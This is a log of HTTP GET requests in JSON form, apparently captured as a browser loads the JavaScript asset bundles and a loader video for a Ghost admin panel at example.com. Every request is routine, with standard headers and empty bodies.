{"method": "GET", "target": "/ghost/assets/send-BTCZEaT4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/text-align-center-DVac9_Hi.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/share-ZZz95KTn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/sprout-CVztvAnl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/square-B-5NhIsj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/squircle-B733mDoc.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/star-Bpul5S_D.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/sticky-note-DU9c-Ra1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/store-B_Ejpv31.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/table-of-contents-sPKkwCn4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tag-C6OB2BXE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tags-ConC9hg-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/text-align-start-CnvG6LkS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/thumbs-down-x3lSinKl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/thumbs-up-B1AHlahq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/trash-2-yhtPWCHA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/trash-CuY-N3o6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/trending-down-DF5-DLrU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/trending-up-ZeqNsItu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/triangle-alert-C2nVQPSI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/type-DMVGYbHH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/undo-2-FoBfGQWM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/unlink-U-Rg6HnP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/upload-C-uMUf3q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-plus-Da4UvDKo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-round-check-fQqHvyjW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-round-x-DC7feApp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-round-Tvyl-lTH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-BPjbwN-J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/users-B8l6egb_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/wallet-cards-DjKzv_P3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/webhook-BDtpHv94.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/x-D9mfak9O.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/zap-HzBi1coK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/icons-ClwlmWSu.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-ChMehFmm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/alert-dialog-fhP2wZq3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/avatar-BMfooKMK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/badge-DMeVfVsR.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/banner-E48MJePb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dialog-Dgn8NUEz.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/overlay-escape-Zs8Fgpfg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dist-D-0IA9lC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/dropdown-menu-C28h_ytx.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/empty-indicator-meoabaL0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/separator-BK1H909V.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/input-surface-iQhmm6Kt.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/input-QTg0yKue.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/input-group-D4AIf997.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/kbd-Bbi4Nkkp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/sheet-CCNUcK2Q.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-mobile-BD7lg4t-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/sticky-footer-nkSt2z_Z.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/large-page-title-Ji9icfTU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/custom-theme-settings-D2WGaIc_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/themes-DSPpuTUn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-loading-Dxi0iRq5.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/iso-_B9XaeWP.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-preferences-B0PbfB0i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/site-uZuXd-v3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/reload-Ct6s_xiO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/admin-link-CP2k2nca.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tags-CP6OL-4x.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/posts-ANvOkryA.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/command-B3vdhO98.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/popover-DRRhIsW0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/multi-select-combobox-BgzCpWMK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/index.module-CXVVhCXr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/pages-CSQSKI6V.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/tiers-KrkVJjTT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/label-picker-CHocWit1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/shared-views-av3Cu3au.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/api-o_yGTaqZ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/koenig-loader-Cc2OMiDU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/editor-loading-B2j1keaV.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/constants-CbfF6lyS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/moment-timezone-D5Us53JJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/logo-loader-88VPEpXE.mp4", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: identity", "Range: bytes=0-"], "body": ""}
|
|
||||||
